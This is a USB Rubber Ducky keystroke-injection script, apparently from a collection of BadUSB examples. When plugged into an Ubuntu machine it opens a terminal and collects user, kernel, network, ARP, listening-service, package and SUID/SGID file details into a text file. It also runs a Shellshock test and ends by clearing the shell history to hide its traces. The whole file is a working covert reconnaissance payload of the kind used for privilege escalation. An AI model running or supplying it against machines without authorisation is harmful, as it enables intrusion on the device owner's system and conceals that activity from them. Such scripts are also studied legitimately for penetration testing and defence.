badusb_examples/usb_rubber_ducky/information_gathering_ubuntu/script.txt

147 lines
3.0 KiB
Plaintext

DELAY 3000
ALT F2
DELAY 500
STRING cmd
DELAY 500
ENTER
DELAY 1000
STRING clear
DELAY 500
ENTER
DELAY 500
STRING echo "Logged in user: " $USER > info_gathering.txt
ENTER
DELAY 500
STRING echo >> info_gathering.txt
DELAY 500
ENTER
DELAY 500
STRING echo -n "Distribution Kernel Version: " >> info_gathering.txt
DELAY 500
ENTER
DELAY 500
STRING cat /etc/issue | cut -c1-13 >> info_gathering.txt
DELAY 500
ENTER
DELAY 500
STRING echo -n "uname results: " >> info_gathering.txt
DELAY 500
ENTER
DELAY 500
STRING uname -a >> info_gathering.txt
DELAY 500
ENTER
DELAY 500
STRING echo >> info_gathering.txt
DELAY 500
ENTER
DELAY 500
STRING echo "Shellsock Bug Vulnerability: " >> info_gathering.txt
DELAY 500
ENTER
DELAY 500
STRING env x='() { :;}; echo vulnerable' bash -c "echo this is a test" >> info_gathering.txt
DELAY 500
ENTER
DELAY 500
STRING echo >> info_gathering.txt
DELAY 500
ENTER
DELAY 500
STRING echo >> info_gathering.txt
DELAY 500
ENTER
DELAY 500
STRING echo "Mounted filesystems: " >> info_gathering.txt
ENTER
DELAY 500
STRING mount -l >> info_gathering.txt
DELAY 500
ENTER
DELAY 500
STRING echo >> info_gathering.txt
ENTER
DELAY 500
STRING echo "Network Configuration: " >> info_gathering.txt
DELAY 500
ENTER
DELAY 500
STRING ifconfig -a | grep 'Link\|inet' >> info_gathering.txt
ENTER
DELAY 500
STRING echo >> info_gathering.txt
ENTER
DELAY 500
STRING echo "Print Hosts: " >> info_gathering.txt
ENTER
DELAY 500
STRING cat /etc/hosts >> info_gathering.txt
ENTER
DELAY 500
STRING echo "Print ARP: " >> info_gathering.txt
ENTER
DELAY 500
STRING arp >> info_gathering.txt
ENTER
DELAY 500
STRING echo >> info_gathering.txt
ENTER
DELAY 500
STRING echo "Development tools availability: " >> info_gathering.txt
ENTER
DELAY 500
STRING which gcc >> info_gathering.txt
ENTER
DELAY 500
STRING which g++ >> info_gathering.txt
ENTER
DELAY 500
STRING which python >> info_gathering.txt
ENTER
DELAY 500
STRING echo >> info_gathering.txt
ENTER
DELAY 500
STRING echo "Print TCP/UDP Listening Services: " >> info_gathering.txt
ENTER
DELAY 500
STRING netstat -tunlpe >> info_gathering.txt
ENTER
DELAY 500
STRING echo >> info_gathering.txt
ENTER
DELAY 500
STRING echo "Installed Packages: " >> info_gathering.txt
DELAY 500
ENTER
DELAY 500
STRING dpkg -l >> info_gathering.txt
ENTER
DELAY 500
STRING echo >> info_gathering.txt
ENTER
DELAY 500
STRING echo "Find Readable Folders in /etc: " >> info_gathering.txt
ENTER
DELAY 500
STRING find /etc -user $(id -u) -perm -u=r -o -group $(id -g) -perm -g=r -o -perm -o=r -ls 2> /dev/null >> info_gathering.txt
ENTER
DELAY 500
STRING echo >> info_gathering.txt
ENTER
DELAY 500
STRING echo "Find SUID and GUID files" >> info_gathering.txt
ENTER
DELAY 500
STRING find / -type f -perm -u=s -o -type f -perm -g=s -ls 2> /dev/null >> info_gathering.txt
DELAY 500
ENTER
DELAY 15000
STRING history -c
DELAY 500
ENTER
DELAY 500
STRING exit
DELAY 500
ENTER